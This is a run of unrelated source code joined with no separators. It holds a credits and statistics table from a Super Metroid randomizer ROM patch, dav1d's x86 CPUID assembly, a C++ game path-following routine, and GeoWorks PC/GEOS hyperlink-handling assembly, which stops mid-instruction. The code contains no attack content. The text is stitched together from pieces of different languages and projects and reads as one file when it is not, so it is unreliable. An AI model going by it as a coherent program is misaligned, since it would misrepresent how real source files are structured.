// TOMOYOSHI YAMANE dw {draw}, {row}*23 dw {draw}, {blank} dw {draw}, {row}*24 // SAMUS ORIGINAL DESIGNERS dw {draw}, {blank} dw {draw}, {row}*25 // HIROJI KIYOTAKE dw {draw}, {row}*26 dw {draw}, {blank} dw {draw}, {row}*27 // SAMUS DESIGNER dw {draw}, {blank} dw {draw}, {row}*28 // TOMOMI YAMANE dw {draw}, {row}*29 dw {draw}, {blank} dw {draw}, {row}*83 // SOUND PROGRAM dw {draw}, {row}*107 // AND SOUND EFFECTS dw {draw}, {blank} dw {draw}, {row}*84 // KENJI YAMAMOTO dw {draw}, {row}*85 dw {draw}, {blank} dw {draw}, {row}*86 // MUSIC COMPOSERS dw {draw}, {blank} dw {draw}, {row}*84 // KENJI YAMAMOTO dw {draw}, {row}*85 dw {draw}, {blank} dw {draw}, {row}*87 // MINAKO HAMANO dw {draw}, {row}*88 dw {draw}, {blank} dw {draw}, {row}*30 // PROGRAM DIRECTOR dw {draw}, {blank} dw {draw}, {row}*31 // KENJI IMAI dw {draw}, {row}*64 dw {draw}, {blank} dw {draw}, {row}*65 // SYSTEM COORDINATOR dw {draw}, {blank} dw {draw}, {row}*66 // KENJI NAKAJIMA dw {draw}, {row}*67 dw {draw}, {blank} dw {draw}, {row}*68 // SYSTEM PROGRAMMER dw {draw}, {blank} dw {draw}, {row}*69 // YOSHIKAZU MORI dw {draw}, {row}*70 dw {draw}, {blank} dw {draw}, {row}*71 // SAMUS PROGRAMMER dw {draw}, {blank} dw {draw}, {row}*72 // ISAMU KUBOTA dw {draw}, {row}*73 dw {draw}, {blank} dw {draw}, {row}*74 // EVENT PROGRAMMER dw {draw}, {blank} dw {draw}, {row}*75 // MUTSURU MATSUMOTO dw {draw}, {row}*76 dw {draw}, {blank} dw {draw}, {row}*77 // ENEMY PROGRAMMER dw {draw}, {blank} dw {draw}, {row}*78 // YASUHIKO FUJI dw {draw}, {row}*79 dw {draw}, {blank} dw {draw}, {row}*80 // MAP PROGRAMMER dw {draw}, {blank} dw {draw}, {row}*81 // MOTOMU CHIKARAISHI dw {draw}, {row}*82 dw {draw}, {blank} dw {draw}, {row}*101 // ASSISTANT PROGRAMMER dw {draw}, {blank} dw {draw}, {row}*102 // KOUICHI ABE dw {draw}, {row}*103 dw {draw}, {blank} dw {draw}, {row}*104 // COORDINATORS dw {draw}, {blank} dw {draw}, {row}*105 // KATSUYA YAMANO dw {draw}, {row}*106 dw {draw}, {blank} dw {draw}, {row}*63 // TSUTOMU KANESHIGE dw {draw}, {row}*96 dw {draw}, {blank} dw {draw}, {row}*89 // PRINTED ART WORK dw {draw}, {blank} dw {draw}, {row}*90 // MASAFUMI SAKASHITA dw {draw}, {row}*91 dw {draw}, {blank} dw {draw}, {row}*92 // YASUO INOUE dw {draw}, {row}*93 dw {draw}, {blank} dw {draw}, {row}*94 // MARY COCOMA dw {draw}, {row}*95 dw {draw}, {blank} dw {draw}, {row}*99 // YUSUKE NAKANO dw {draw}, {row}*100 dw {draw}, {blank} dw {draw}, {row}*108 // SHINYA SANO dw {draw}, {row}*109 dw {draw}, {blank} dw {draw}, {row}*110 // NORIYUKI SATO dw {draw}, {row}*111 dw {draw}, {blank} dw {draw}, {row}*32 // SPECIAL THANKS TO dw {draw}, {blank} dw {draw}, {row}*33 // DAN OWSEN dw {draw}, {row}*34 dw {draw}, {blank} dw {draw}, {row}*35 // GEORGE SINFIELD dw {draw}, {row}*36 dw {draw}, {blank} dw {draw}, {row}*39 // MASARU OKADA dw {draw}, {row}*40 dw {draw}, {blank} dw {draw}, {row}*43 // TAKAHIRO HARADA dw {draw}, {row}*44 dw {draw}, {blank} dw {draw}, {row}*47 // KOHTA FUKUI dw {draw}, {row}*48 dw {draw}, {blank} dw {draw}, {row}*49 // KEISUKE TERASAKI dw {draw}, {row}*50 dw {draw}, {blank} dw {draw}, {row}*51 // MASARU YAMANAKA dw {draw}, {row}*52 dw {draw}, {blank} dw {draw}, {row}*53 // HITOSHI YAMAGAMI dw {draw}, {row}*54 dw {draw}, {blank} dw {draw}, {row}*57 // NOBUHIRO OZAKI dw {draw}, {row}*58 dw {draw}, {blank} dw {draw}, {row}*59 // KENICHI NAKAMURA dw {draw}, {row}*60 dw {draw}, {blank} dw {draw}, {row}*61 // TAKEHIKO HOSOKAWA dw {draw}, {row}*62 dw {draw}, {blank} dw {draw}, {row}*97 // SATOSHI MATSUMURA dw {draw}, {row}*98 dw {draw}, {blank} dw {draw}, {row}*122 // TAKESHI NAGAREDA dw {draw}, {row}*123 dw {draw}, {blank} dw {draw}, {row}*124 // MASAHIRO KAWANO dw {draw}, {row}*125 dw {draw}, {blank} dw {draw}, {row}*45 // HIRO YAMADA dw {draw}, {row}*46 dw {draw}, {blank} dw {draw}, {row}*112 // AND ALL OF R&D1 STAFFS dw {draw}, {row}*113 dw {draw}, {blank} dw {draw}, {row}*114 // GENERAL MANAGER dw {draw}, {blank} dw {draw}, {row}*5 // GUMPEI YOKOI dw {draw}, {row}*6 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} // change scroll speed to 2 pixels per frame dw {speed}, $0002 // Custom item randomizer credits text dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*128 // VARIA RANDOMIZER STAFF dw {draw}, {blank} dw {draw}, {row}*129 dw {draw}, {row}*130 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*131 // ORIGINAL ITEM RANDOMIZERS dw {draw}, {blank} dw {draw}, {row}*132 dw {draw}, {row}*133 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*134 // CONTRIBUTORS dw {draw}, {blank} dw {draw}, {row}*135 dw {draw}, {row}*136 dw {draw}, {blank} dw {draw}, {row}*137 dw {draw}, {row}*138 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*139 // SPECIAL THANKS TO dw {draw}, {blank} dw {draw}, {row}*140 // SMILEY SUKU dw {draw}, {row}*141 dw {draw}, {blank} dw {draw}, {row}*154 // hackers dw {draw}, {row}*176 dw {draw}, {blank} dw {draw}, {row}*177 // donators dw {draw}, {row}*178 dw {draw}, {blank} dw {draw}, {row}*142 // METROID CONSTRUCTION dw {draw}, {blank} dw {draw}, {row}*143 dw {draw}, {row}*144 dw {draw}, {blank} dw {draw}, {row}*165 // SUPER METROID DISASSEMBLY dw {draw}, {blank} dw {draw}, {row}*166 dw {draw}, {row}*167 dw {draw}, {blank} dw {draw}, {row}*184 // SpriteSomething dw {draw}, {blank} dw {draw}, {row}*224 dw {draw}, {row}*225 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*145 // RANDOMIZER PARAMETERS dw {draw}, {blank} dw {draw}, {row}*155 // PROG SPEED dw {draw}, {blank} dw {draw}, {row}*156 // PROG DIFF dw {draw}, {blank} dw {draw}, {row}*158 // SUITS RESTRICTION dw {draw}, {blank} dw {draw}, {row}*159 // MORPH PLACEMENT dw {draw}, {blank} // change scroll speed to 3 px/frame dw {speed}, $0003 dw {draw}, {row}*160 // SUPER FUN COMBAT dw {draw}, {blank} dw {draw}, {row}*161 // SUPER FUN MOVEMENT dw {draw}, {blank} dw {draw}, {row}*162 // SUPER FUN SUITS dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*157 // ITEMS DISTRIBUTION dw {draw}, {blank} dw {draw}, {row}*146 // LOCATIONS dw {draw}, {row}*147 dw {draw}, {blank} dw {draw}, {row}*148 // LOCS DETAIL dw {draw}, {row}*149 dw {draw}, {blank} dw {draw}, {row}*168 // AVAILABLE dw {draw}, {row}*169 dw {draw}, {blank} dw {draw}, {row}*152 // ENERGY DETAIL dw {draw}, {row}*153 dw {draw}, {blank} dw {draw}, {row}*150 // AMMO DETAIL dw {draw}, {row}*151 dw {draw}, {blank} dw {draw}, {row}*163 // AMMO DISTRIBUTION dw {draw}, {row}*164 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*223 // PLAY THIS RANDOMIZER AT dw {draw}, {blank} dw {draw}, {row}*179 dw {draw}, {row}*180 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*181 dw {draw}, {blank} dw {draw}, {row}*182 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*183 // GAMEPLAY STATS dw {draw}, {blank} dw {draw}, {row}*172 // DEATHS dw {draw}, {row}*173 dw {draw}, {blank} dw {draw}, {row}*174 // RESETS dw {draw}, {row}*175 dw {draw}, {blank} dw {draw}, {row}*185 // DOOR TRANSITIONS dw {draw}, {row}*186 dw {draw}, {blank} dw {draw}, {row}*187 // TIME IN DOORS dw {draw}, {row}*188 dw {draw}, {blank} dw {draw}, {row}*189 // TIME ADJUSTING DOOR dw {draw}, {row}*190 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*191 // TIME SPENT dw {draw}, {blank} dw {draw}, {row}*192 // CERES dw {draw}, {row}*193 dw {draw}, {blank} dw {draw}, {row}*194 // CRATERIA dw {draw}, {row}*195 dw {draw}, {blank} dw {draw}, {row}*196 // GREEN BRINSTAR dw {draw}, {row}*197 dw {draw}, {blank} dw {draw}, {row}*198 // RED BRINSTAR dw {draw}, {row}*199 dw {draw}, {blank} dw {draw}, {row}*200 // WRECKED SHIP dw {draw}, {row}*201 dw {draw}, {blank} dw {draw}, {row}*202 // KRAID dw {draw}, {row}*203 dw {draw}, {blank} dw {draw}, {row}*226 // UPPER NORFAIR dw {draw}, {row}*227 dw {draw}, {blank} dw {draw}, {row}*228 // CROC dw {draw}, {row}*229 dw {draw}, {blank} dw {draw}, {row}*230 // LOWER NORFAIR dw {draw}, {row}*231 dw {draw}, {blank} dw {draw}, {row}*232 // WEST MARIDIA dw {draw}, {row}*233 dw {draw}, {blank} dw {draw}, {row}*234 // EAST MARIDIA dw {draw}, {row}*235 dw {draw}, {blank} dw {draw}, {row}*236 // TOURIAN dw {draw}, {row}*237 dw {draw}, {blank} dw {draw}, {row}*221 // PAUSE MENU dw {draw}, {row}*222 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*204 // SHOTS AND AMMO dw {draw}, {blank} dw {draw}, {row}*170 // UNCHARGED dw {draw}, {row}*171 dw {draw}, {blank} dw {draw}, {row}*205 // CHARGED dw {draw}, {row}*206 dw {draw}, {blank} dw {draw}, {row}*207 // SBA dw {draw}, {row}*208 dw {draw}, {blank} dw {draw}, {row}*209 // MISSILES dw {draw}, {row}*210 dw {draw}, {blank} dw {draw}, {row}*211 // SUPERS dw {draw}, {row}*212 dw {draw}, {blank} dw {draw}, {row}*213 // PBs dw {draw}, {row}*214 dw {draw}, {blank} dw {draw}, {row}*215 // BOMBS dw {draw}, {row}*216 // Draw item locations dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*640 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*641 dw {draw}, {row}*642 dw {draw}, {blank} dw {draw}, {row}*643 dw {draw}, {row}*644 dw {draw}, {blank} dw {draw}, {row}*645 dw {draw}, {row}*646 dw {draw}, {blank} dw {draw}, {row}*647 dw {draw}, {row}*648 dw {draw}, {blank} dw {draw}, {row}*649 dw {draw}, {row}*650 dw {draw}, {blank} dw {draw}, {row}*651 dw {draw}, {row}*652 dw {draw}, {blank} dw {draw}, {row}*653 dw {draw}, {row}*654 dw {draw}, {blank} dw {draw}, {row}*655 dw {draw}, {row}*656 dw {draw}, {blank} dw {draw}, {row}*657 dw {draw}, {row}*658 dw {draw}, {blank} dw {draw}, {row}*659 dw {draw}, {row}*660 dw {draw}, {blank} dw {draw}, {row}*661 dw {draw}, {row}*662 dw {draw}, {blank} dw {draw}, {row}*663 dw {draw}, {row}*664 dw {draw}, {blank} dw {draw}, {row}*665 dw {draw}, {row}*666 dw {draw}, {blank} dw {draw}, {row}*667 dw {draw}, {row}*668 dw {draw}, {blank} dw {draw}, {row}*669 dw {draw}, {row}*670 dw {draw}, {blank} dw {draw}, {row}*671 dw {draw}, {row}*672 dw {draw}, {blank} dw {draw}, {row}*673 dw {draw}, {row}*674 dw {draw}, {blank} dw {draw}, {row}*675 dw {draw}, {row}*676 dw {draw}, {blank} dw {draw}, {row}*677 dw {draw}, {row}*678 dw {draw}, {blank} // Last info. dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*217 // Final Time dw {draw}, {row}*218 dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {row}*219 // Thanks dw {draw}, {row}*220 // don't touch those blanks dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} dw {draw}, {blank} // Set scroll speed to 4 frames per pixel dw {speed}, $0004 // Scroll all text off and end credits dw {set}, $0017 - dw {draw}, {blank} dw {delay}, - dw {end} stats: // STAT ID, ADDRESS, TYPE (1 = Number, 2 = Time, 3 = Full time), UNUSED dw 0, {row}*217, 3, 0 // Full RTA Time dw 2, {row}*185, 1, 0 // Door transitions dw 3, {row}*187, 3, 0 // Time in doors dw 5, {row}*189, 2, 0 // Time adjusting doors dw 7, {row}*192, 3, 0 // Ceres dw 9, {row}*194, 3, 0 // Crateria/Blue brin dw 11, {row}*196, 3, 0 // Green/Pink brin dw 13, {row}*198, 3, 0 // Red Brin dw 15, {row}*200, 3, 0 // WS dw 17, {row}*202, 3, 0 // Kraid dw 19, {row}*226, 3, 0 // Upper Norfair dw 21, {row}*228, 3, 0 // Croc dw 23, {row}*230, 3, 0 // Lower Norfair dw 25, {row}*232, 3, 0 // West Maridia dw 27, {row}*234, 3, 0 // East Maridia dw 29, {row}*236, 3, 0 // Tourian dw 31, {row}*170, 1, 0 // Uncharged Shots dw 32, {row}*205, 1, 0 // Charged Shots dw 33, {row}*207, 1, 0 // Special Beam Attacks dw 34, {row}*209, 1, 0 // Missiles dw 35, {row}*211, 1, 0 // Super Missiles dw 36, {row}*213, 1, 0 // Power Bombs dw 37, {row}*215, 1, 0 // Bombs dw 38, {row}*221, 3, 0 // Time in pause dw 40, {row}*172, 1, 0 // deaths dw 41, {row}*174, 1, 0 // resets dw 0, 0, 0, 0 // end of table print "credits end : ", org warnpc $dfffff // Relocated credits tilemap to free space in bank CE org $ceb240 credits: // When using big text, it has to be repeated twice, first in UPPERCASE and then in lowercase since it's split into two parts // Numbers are mapped in a special way as described below: // 0123456789%& '´ // }!@#$%&/()>~. // This is not in display order {pink} dw " VARIA RANDOMIZER STAFF " // 128 {big} dw " DUDE AND FLO " // 129 dw " dude and flo " // 130 {purple} dw " ORIGINAL ITEM RANDOMIZERS " // 131 {big} dw " TOTAL DESSYREQT " // 132 dw " total dessyreqt " // 133 {purple} dw " CONTRIBUTORS " // 134 {big} dw " RAND 0 COUT " // 135 dw " rand } cout " // 136 dw " DJLO PRANKARD " // 137 dw " djlo prankard " // 138 {cyan} dw " SPECIAL THANKS TO " // 139 {big} dw " SMILEY SUKU " // 140 dw " smiley suku " // 141 {yellow} dw " METROID CONSTRUCTION " // 142 {big} dw " METROIDCONSTRUCTION COM " // 143 dw " metroidconstruction.com " // 144 {purple} // params title dw " RANDOMIZER PARAMETERS " // 145 {big} // item distribution data start dw " ITEM LOCATIONS XX " // 146 dw " item locations............. xx " // 147 dw " MAJ XX EN XX AMMO XX BLANK XX " // 148 dw " maj xx en xx ammo XX blank XX " // 149 dw " AMMO PACKS MI XX SUP XX PB XX " // 150 dw " ammo packs mi XX sup XX pb XX " // 151 dw " HEALTH TANKS E XX R XX " // 152 dw " health tanks ...... e.xx.r xx " // 153 dw " ALL SUPER METROID HACKERS " // 154 : credits // params data start {yellow} dw " PROGRESSION SPEED .... XXXXXXX " // 155 dw " PROGRESSION DIFFICULTY XXXXXXX " // 156 // item distrib title {purple} dw " ITEMS DISTRIBUTION " // 157 // params data end {yellow} dw " SUITS RESTRICTION ........ XXX " // 158 dw " MORPH PLACEMENT ....... XXXXXX " // 159 dw " SUPER FUN COMBAT ......... XXX " // 160 dw " SUPER FUN MOVEMENT ....... XXX " // 161 dw " SUPER FUN SUITS .......... XXX " // 162 // item distrib data end {big} dw " AMMO DISTRIBUTION X X X X X X " // 163 dw " ammo distribution x.x x.x x.x " // 164 // credits continued {yellow} dw " SUPER METROID DISASSEMBLY " // 165 {big} dw " PJBOY KEJARDON " // 166 dw " pjboy kejardon " // 167 // stats continued dw " AVAILABLE AMMO XXX% ENERGY XXX%" // 168 dw " available ammo xxx> energy xxx>" // 169 dw " UNCHARGED SHOTS 0 " // 170 dw " uncharged shots } " // 171 dw " DEATHS 0 " // 172 dw " deaths } " // 173 dw " RESETS 0 " // 174 dw " resets } " // 175 // some more credits dw " all super metroid hackers " // 176 dw " OUR GENEROUS DONATORS " // 177 dw " our generous donators " // 178 // varia URLs {big} dw " VARIA RUN " // 179 dw " varia.run " // 180 {orange} dw " BETA.VARIA.RUN " // 181 dw " DISCORD.VARIA.RUN " // 182 {purple} dw " GAMEPLAY STATISTICS " // 183 {yellow} dw " SPRITESOMETHING " // 184 : credits {big} dw " DOOR TRANSITIONS 0 " // 185 dw " door transitions } " // 186 dw " TIME IN DOORS 00'00'00^00 " // 187 dw " time in doors }} }} }} }} " // 188 dw " TIME ALIGNING DOORS 00'00^00 " // 189 dw " time aligning doors }} }} }} " // 190 {blue} dw " TIME SPENT IN " // 191 {big} dw " CERES 00'00'00^00 " // 192 dw " ceres }} }} }} }} " // 193 dw " CRATERIA 00'00'00^00 " // 194 dw " crateria }} }} }} }} " // 195 dw " GREEN BRINSTAR 00'00'00^00 " // 196 dw " green brinstar }} }} }} }} " // 197 dw " RED BRINSTAR 00'00'00^00 " // 198 dw " red brinstar }} }} }} }} " // 199 dw " WRECKED SHIP 00'00'00^00 " // 200 dw " wrecked ship }} }} }} }} " // 201 dw " KRAID'S LAIR 00'00'00^00 " // 202 dw " kraid s lair }} }} }} }} " // 203 {green} dw " SHOTS AND AMMO FIRED " // 204 {big} dw " CHARGED SHOTS 0 " // 205 dw " charged shots } " // 206 dw " SPECIAL BEAM ATTACKS 0 " // 207 dw " special beam attacks } " // 208 dw " MISSILES 0 " // 209 dw " missiles } " // 210 dw " SUPER MISSILES 0 " // 211 dw " super missiles } " // 212 dw " POWER BOMBS 0 " // 213 dw " power bombs } " // 214 dw " BOMBS 0 " // 215 dw " bombs } " // 216 dw " FINAL TIME 00'00'00^00 " // 217 dw " final time }} }} }} }} " // 218 dw " THANKS FOR PLAYING " // 219 dw " thanks for playing " // 220 dw " PAUSE MENU 00'00'00^00 " // 221 dw " pause menu }} }} }} }} " // 222 {cyan} dw " PLAY THIS RANDOMIZER AT " // 223 {big} // how about some more credits dw " ARTHEAU MIKE TRETHEWEY " // 224 dw " artheau mike trethewey " // 225 // now some more stats dw " UPPER NORFAIR 00'00'00^00 " // 226 dw " upper norfair }} }} }} }} " // 227 dw " CROCOMIRE 00'00'00^00 " // 228 dw " crocomire }} }} }} }} " // 229 dw " LOWER NORFAIR 00'00'00^00 " // 230 dw " lower norfair }} }} }} }} " // 231 dw " WEST MARIDIA 00'00'00^00 " // 232 dw " west maridia }} }} }} }} " // 233 dw " EAST MARIDIA 00'00'00^00 " // 234 dw " east maridia }} }} }} }} " // 235 dw " TOURIAN 00'00'00^00 " // 236 dw " tourian }} }} }} }} " // 237 dw $0000 // End of credits tilemap warnpc $ceffff // Placeholder label for item locations inserted by the randomizer org $ded200 itemlocations: {pink} dw " ITEM LOCATIONS " // 640 padbyte $ca pad $dedbcf
; Copyright © 2018, VideoLAN and dav1d authors ; Copyright © 2018, Two Orioles, LLC ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. %include "ext/x86/x86inc.asm" SECTION .text cglobal cpu_cpuid, 0, 5, 0, info, leaf mov r4, infomp mov eax, leafm xor ecx, ecx %if ARCH_X86_64 push rbx %endif cpuid mov [r4+4*0], eax mov [r4+4*1], ebx mov [r4+4*2], ecx mov [r4+4*3], edx %if ARCH_X86_64 pop rbx %endif RET cglobal cpu_xgetbv, 0, 0, 0, xcr movifnidn ecx, xcrm xgetbv %if ARCH_X86_64 shl rdx, 32 or rax, rdx %endif RET
#include "PathFollowing.h" #include "Player.h" #include "Setting.h" PathFollowing::PathFollowing(Object * myself) { Myself = myself; behaviourWeight = 0; bTypes = PATHING; } PathFollowing::~PathFollowing() { } Vector2 PathFollowing::update(float deltaTime) { float speed = 150.0f; if (((Player*)Myself)->path.size() > 0) { float distance = 20.0f; float xDist = ((Player*)Myself)->position.x - ((Player*)Myself)->path.back()->posX; float yDist = ((Player*)Myself)->position.y - ((Player*)Myself)->path.back()->posY; float x = xDist * xDist; float y = yDist * yDist; float xy = x + y; if (xy < distance * distance) { ((Player*)Myself)->path.pop_back(); } if (((Player*)Myself)->path.size() > 0) { Vector2 v1 = Myself->position; Vector2 v2 = { ((Player*)Myself)->path.back()->posX,((Player*)Myself)->path.back()->posY }; Vector2 v3 = v2 - v1; v3.normalise(); v3 = v3 * speed * behaviourWeight; return v3; } } return Vector2{ 0,0 }; }
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: User/Text FILE: textMethodType.asm METHODS: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version JM 3/18/94 Made NameToToken, FileNameToToken, and ContextFileNameToToken return zero flag so that caller must do error checking DESCRIPTION: This file contains method handlers for type methods $Id: taType.asm,v 1.1 97/04/07 11:18:55 newdeal Exp $ ------------------------------------------------------------------------------@ TextNameType segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextSetHyperlink %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set a hyperlink for the selected area CALLED BY: MSG_VIS_TEXT_SET_HYPERLINK PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of VisTextClass ax - the message ss:bp - VisTextSetHyperlinkParams RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version gene 9/ 4/92 updated JM 9/18/94 added error checking for calls to NameToToken and ContextFileNameToToken jenny 8/15/94 Added range hunt and broke out common code %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextSetHyperlink proc far ; MSG_VIS_TEXT_SET_HYPERLINK ; MSG_META_TEXT_SET_HYPERLINK ; ; Get the range over which to operate. ; call FindRangeForHyperlink jc done ; ; Now get the tokens/indices. ; mov dx, ss:[bp].VTSHLP_file mov ax, ss:[bp].VTSHLP_context test ss:[bp].VTSHLP_flags, mask VTCF_TOKEN jnz gotTokens ; ; Are we clearing the hyperlink? ; cmp dx, GIGS_NONE je clearingHyperlink ; ; Convert the list entries into tokens ; call FileAndContextNamesToTokens ; ax <- context token ; dx <- file token gotTokens: ; ; dx = file, ax = context ; call SetHyperlink done: ret clearingHyperlink: mov ax, dx ;ax <- no context CheckHack <GIGS_NONE eq -1 and \ VIS_TEXT_CURRENT_FILE_TOKEN eq -1 and \ VIS_TEXT_NIL_CONTEXT_TOKEN eq -1> jmp gotTokens VisTextSetHyperlink endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindRangeForHyperlink %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find the range over which to set or clear a hyperlink. CALLED BY: INTERNAL VisTextSetHyperlink PASS: *ds:si = instance data for text object ss:bp = VisTextSetHyperlinkParams RETURN: carry = set if no range OR carry = clear if all well ss:bp = VisTextSetHyperlinkParams with range modified DESTROYED: ax, bx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 8/15/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindRangeForHyperlink proc near uses ds, si .enter ; ; First convert virtual coords to physical and check whether ; the start and end of the range differ. If so, all is well. ; Note that the carry is clear if we take the jump. ; clr bx call TA_GetTextRange ; virtual -> physical movdw dxax, ss:[bp].VTSHLP_range.VTR_end cmpdw dxax, ss:[bp].VTSHLP_range.VTR_start ja done ; ; They're the same. We may be clearing a hyperlink after ; just positioning the cursor on it rather than selecting it. ; If not, we may want swat to put out a warning. ; test ss:[bp].VTSHLP_flags, mask VTCF_TOKEN jnz checkContext cmp ss:[bp].VTSHLP_file, GIGS_NONE jne warn findRange: ; ; Yes, we're clearing a hyperlink. Figure out the range of the ; hyperlink to be cleared and substitute that in the passed parameters. ; CheckHack <(offset VTSHLP_range) eq 0> segmov es, ss ; es:bp <- VTSHLP_range mov bx, OFFSET_FOR_TYPE_RUNS call TA_GetRunBounds clc done: .leave ret checkContext: cmp ss:[bp].VTSHLP_context, VIS_TEXT_NIL_CONTEXT_TOKEN je findRange warn: if ERROR_CHECK ; ; We're setting a new hyperlink but our range start and end ; are equal. This is legitimate only if the text object got ; the set hyperlink MetaTextMessage because it was automatically ; forwarded here as well as being sent to its specified ; destination. In that case, the start and end of the range ; should be zero. No need to die if they're not, though. ; tstdw dxax WARNING_NZ WARNING_CANNOT_SET_HYPERLINK_ON_NIL_TEXT_RANGE endif stc jmp done FindRangeForHyperlink endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetHyperlink %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set/clear and show/hide a hyperlink for the passed range. CALLED BY: INTERNAL VisTextSetHyperlink PASS: *ds:si = instance data for text object ss:bp = VisTextSetHyperlinkParams ax = context token dx = file token RETURN: nothing DESTROYED: cx, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetHyperlink proc near ; ; Use our own undo chain so the setting and showing actions ; are grouped together. ; mov_tr cx, ax mov ax, offset FormattingString call TU_StartChainIfUndoable mov_tr ax, cx ; ; Are hyperlinks currently being shown? ; test ss:[bp].VTSHLP_flags, mask VTCF_SHOWING_HYPERLINKS jz setIt ; ; Yes, they are. If we're clearing a hyperlink, then we want ; to stop showing it first. ; cmp ax, VIS_TEXT_NIL_CONTEXT_TOKEN pushf je showIt call SetHyperlinkLow showIt: call ShowHyperlink ; ; If we're clearing a hyperlink, we have to go clear it now ; that we've removed its text style. Else, we're done. ; popf jne done setIt: call SetHyperlinkLow done: ; ; Set-and-show-hyperlink undo chain finished. ; call TU_EndChainIfUndoable ret SetHyperlink endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetHyperlinkLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Arrange for a callback to set a hyperlink on the passed range. CALLED BY: INTERNAL SetHyperlink PASS: ss:bp = VisTextRange dx = file token ax = context token RETURN: nothing DESTROYED: di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- jenny 7/22/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetHyperlinkLow proc near mov di, offset SetHyperlinkCallback call 